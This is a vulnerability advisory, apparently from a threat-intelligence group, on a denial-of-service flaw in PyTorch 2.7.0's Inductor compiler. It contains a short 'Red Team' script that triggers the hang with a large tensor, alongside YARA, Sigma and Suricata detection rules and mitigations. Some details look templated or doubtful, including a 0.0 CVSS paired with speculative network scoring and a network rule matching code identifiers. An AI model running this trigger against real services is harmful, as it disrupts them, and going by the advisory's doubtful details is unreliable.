CVE-2025-55560

Executive Summary

CVE-2025-55560 is a Denial of Service (DoS) vulnerability in PyTorch v2.7.0, specifically affecting the Inductor compiler. The flaw is triggered when a PyTorch model contains both torch.Tensor.to_sparse() and torch.Tensor.to_dense() operations and is compiled by Inductor. This can lead to excessive resource consumption, causing the application to become unresponsive. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects the PyTorch package (PyPI: torch). Organizations using PyTorch v2.7.0 with Inductor compilation are at risk. Since no patch is available, supply chain risk is elevated. Users should monitor the official PyTorch repository for updates and consider pinning to a previous stable version (e.g., v2.6.0) until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector: Network (likely, as models can be loaded remotely)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High
• Threat Level: Medium (due to potential for service disruption)

Deep Dive & Mechanics

The vulnerability resides in PyTorch's Inductor compiler, which is used for just-in-time (JIT) compilation of models. When a model contains both to_sparse() and to_dense() operations, Inductor may enter an infinite loop or allocate excessive memory during compilation. This occurs because the compiler fails to optimize the round-trip conversion between sparse and dense tensor representations, leading to resource exhaustion.

Technical Flow:

1. User loads a PyTorch model containing to_sparse() and to_dense() calls.
2. The model is compiled using torch.compile() with Inductor backend.
3. Inductor attempts to fuse or optimize the sparse-dense conversion.
4. Due to a bug in the optimization pass, the compiler enters an infinite loop or allocates unbounded memory.
5. The process hangs or crashes, causing a Denial of Service.

Vulnerable vs. Patched Code

Vulnerable Code (PyTorch v2.7.0):

import torch

class VulnerableModel(torch.nn.Module):
    def forward(self, x):
        sparse = x.to_sparse()
        dense = sparse.to_dense()
        return dense

model = VulnerableModel()
compiled_model = torch.compile(model, backend="inductor")
input_tensor = torch.randn(1000, 1000)
output = compiled_model(input_tensor)  # Triggers DoS

Patched Code (Hypothetical Fix):

import torch

class PatchedModel(torch.nn.Module):
    def forward(self, x):
        # Avoid round-trip conversion; use identity if possible
        return x

model = PatchedModel()
compiled_model = torch.compile(model, backend="inductor")
input_tensor = torch.randn(1000, 1000)
output = compiled_model(input_tensor)  # No DoS

Note: No official patch is available. The hypothetical fix involves avoiding the sparse-dense round-trip in compiled models.

Exploitation & Lab Setup

Red Team

Prerequisites:

• PyTorch v2.7.0 installed (pip install torch==2.7.0)
• Python 3.8+

Exploit Script:

import torch
import time

class DoSTrigger(torch.nn.Module):
    def forward(self, x):
        sparse = x.to_sparse()
        dense = sparse.to_dense()
        return dense

model = DoSTrigger()
compiled_model = torch.compile(model, backend="inductor")

# Trigger DoS with large tensor
input_tensor = torch.randn(5000, 5000)
print("Triggering DoS...")
start = time.time()
try:
    output = compiled_model(input_tensor)
except Exception as e:
    print(f"Error: {e}")
print(f"Time elapsed: {time.time() - start:.2f}s")

Expected Outcome: The script will hang or crash the Python process due to resource exhaustion.

Blue Team

Detection:

• Monitor for excessive CPU/memory usage by Python processes.
• Alert on long-running torch.compile() operations.
• Use the YARA/Sigma rules below to detect malicious model files.

Mitigation:

• Disable Inductor compilation for untrusted models: torch.compile(model, backend="eager")
• Pin PyTorch to v2.6.0 or earlier.
• Implement resource limits (e.g., Docker memory limits).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): None available (no exploit code published).
• Network Indicators: None specific.
• Behavioral:
  • Python process consuming >90% CPU for extended periods.
  • Repeated calls to torch.compile() with sparse-dense operations.
  • Crash logs containing "Inductor" and "to_sparse" or "to_dense".

Detection Engineering

YARA Rule

rule CVE_2025_55560_PyTorch_DoS {
    meta:
        description = "Detects PyTorch models containing to_sparse() and to_dense() that may trigger CVE-2025-55560"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55560"
    strings:
        $sparse = "to_sparse" nocase
        $dense = "to_dense" nocase
        $compile = "torch.compile" nocase
        $inductor = "inductor" nocase
    condition:
        all of ($sparse, $dense) and any of ($compile, $inductor)
}

Sigma Rule

title: PyTorch Inductor DoS via Sparse-Dense Conversion
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects execution of PyTorch models with to_sparse() and to_dense() compiled by Inductor
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains|all:
            - 'to_sparse'
            - 'to_dense'
            - 'inductor'
    condition: selection
falsepositives:
    - Legitimate use of sparse tensors in non-compiled models
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-55560 PyTorch Inductor DoS Attempt"; flow:to_server,established; content:"to_sparse"; distance:0; content:"to_dense"; distance:0; content:"inductor"; distance:0; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Avoid using torch.compile() with Inductor backend for models containing to_sparse() and to_dense(). Use backend="eager" instead.
2. Short-term: Pin PyTorch to v2.6.0 or earlier until a patch is released.
3. Long-term: Monitor the PyTorch GitHub repository for a fix (expected in v2.7.1 or later).
4. Network: Implement rate limiting and resource quotas for model serving endpoints.
5. Monitoring: Deploy the YARA/Sigma rules above to detect exploitation attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-55560